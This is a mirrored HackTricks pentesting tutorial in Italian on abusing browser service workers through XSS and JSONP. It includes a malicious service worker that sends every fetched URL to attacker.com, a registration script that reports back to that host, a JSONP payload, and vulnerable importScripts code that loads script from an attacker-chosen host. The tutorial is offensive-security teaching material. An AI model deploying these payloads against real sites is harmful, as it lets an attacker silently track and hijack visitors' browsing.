Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-23 05:03:35 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/pentesting-web/xss-cross-site-scripting/abusing-service-workers.md

8.6 KiB
Raw Blame History

Sfruttare i Service Workers

Impara l'hacking AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)!

Try Hard Security Group

{% embed url="https://discord.gg/tryhardsecurity" %}

Informazioni di Base

Un service worker è uno script eseguito dal tuo browser in background, separato da qualsiasi pagina web, che abilita funzionalità che non richiedono una pagina web o interazione dell'utente, migliorando così le capacità di elaborazione offline e in background. Informazioni dettagliate sui service workers possono essere trovate qui. Sfruttando i service workers all'interno di un dominio web vulnerabile, gli attaccanti possono ottenere il controllo sulle interazioni della vittima con tutte le pagine all'interno di quel dominio.

Verifica dell'Esistenza dei Service Workers

I service workers esistenti possono essere verificati nella sezione Service Workers della scheda Applicazione nelle Strumenti per Sviluppatori. Un altro metodo è visitare chrome://serviceworker-internals per una visualizzazione più dettagliata.

Notifiche Push

Le autorizzazioni alle notifiche push influenzano direttamente la capacità di un service worker di comunicare con il server senza interazione diretta dell'utente. Se le autorizzazioni vengono negate, limitano il potenziale del service worker di costituire una minaccia continua. Al contrario, concedere le autorizzazioni aumenta i rischi di sicurezza abilitando la ricezione ed esecuzione di potenziali exploit.

Attacco Creazione di un Service Worker

Per sfruttare questa vulnerabilità è necessario trovare:

  • Un modo per caricare file JS arbitrari sul server e un XSS per caricare il service worker del file JS caricato
  • Una richiesta JSONP vulnerabile in cui è possibile manipolare l'output (con codice JS arbitrario) e un XSS per caricare il JSONP con un payload che caricherà un service worker maligno.

Nell'esempio seguente presenterò un codice per registrare un nuovo service worker che ascolterà l'evento fetch e invierà al server degli attaccanti ogni URL recuperato (questo è il codice di cui avresti bisogno per caricare sul server o caricare tramite una risposta JSONP vulnerabile):

self.addEventListener('fetch', function(e) {
e.respondWith(caches.match(e.request).then(function(response) {
fetch('https://attacker.com/fetch_url/' + e.request.url)
});

E questo è il codice che registra il worker (il codice che dovresti essere in grado di eseguire sfruttando un XSS). In questo caso verrà inviata una richiesta GET al server degli attaccanti notificando se la registrazione del service worker è stata o meno riuscita:

<script>
window.addEventListener('load', function() {
var sw = "/uploaded/ws_js.js";
navigator.serviceWorker.register(sw, {scope: '/'})
.then(function(registration) {
var xhttp2 = new XMLHttpRequest();
xhttp2.open("GET", "https://attacker.com/SW/success", true);
xhttp2.send();
}, function (err) {
var xhttp2 = new XMLHttpRequest();
xhttp2.open("GET", "https://attacker.com/SW/error", true);
xhttp2.send();
});
});
</script>

Nel caso si voglia abusare di un endpoint JSONP vulnerabile, è necessario inserire il valore all'interno di var sw. Ad esempio:

var sw = "/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.request).then(function(response){ fetch('https://attacker.com/fetch_url/' + e.request.url) }) )}//";

Esiste un C2 dedicato allo sfruttamento dei Service Workers chiamato Shadow Workers che sarà molto utile per sfruttare queste vulnerabilità.

La direttiva della cache di 24 ore limita la vita di un service worker (SW) malizioso o compromesso a al massimo 24 ore dopo la correzione di una vulnerabilità XSS, assumendo uno stato di client online. Per ridurre al minimo la vulnerabilità, gli operatori del sito possono ridurre il Time-To-Live (TTL) dello script SW. Ai developer viene anche consigliato di creare un interruttore di disattivazione del service worker per una rapida disattivazione.

Abuso di importScripts in un SW tramite DOM Clobbering

La funzione importScripts chiamata da un Service Worker può importare uno script da un dominio diverso. Se questa funzione viene chiamata utilizzando un parametro che un attaccante potrebbe modificare, potrebbe importare uno script JS dal suo dominio e ottenere XSS.

Questo bypassa anche le protezioni CSP.

Esempio di codice vulnerabile:

  • index.html
<script>
navigator.serviceWorker.register('/dom-invader/testcases/augmented-dom-import-scripts/sw.js' + location.search);
// attacker controls location.search
</script>
  • sw.js
const searchParams = new URLSearchParams(location.search);
let host = searchParams.get('host');
self.importScripts(host + "/sw_extra.js");
//host can be controllable by an attacker

Con DOM Clobbering

Per ulteriori informazioni su cosa sia il DOM Clobbering, controlla:

{% content-ref url="dom-clobbering.md" %} dom-clobbering.md {% endcontent-ref %}

Se l'URL/dominio che il SW sta utilizzando per chiamare importScripts è all'interno di un elemento HTML, è possibile modificarlo tramite DOM Clobbering per fare in modo che il SW carichi uno script dal proprio dominio.

Per un esempio di questo, controlla il link di riferimento.

Riferimenti

Try Hard Security Group

{% embed url="https://discord.gg/tryhardsecurity" %}

Impara l'hacking su AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!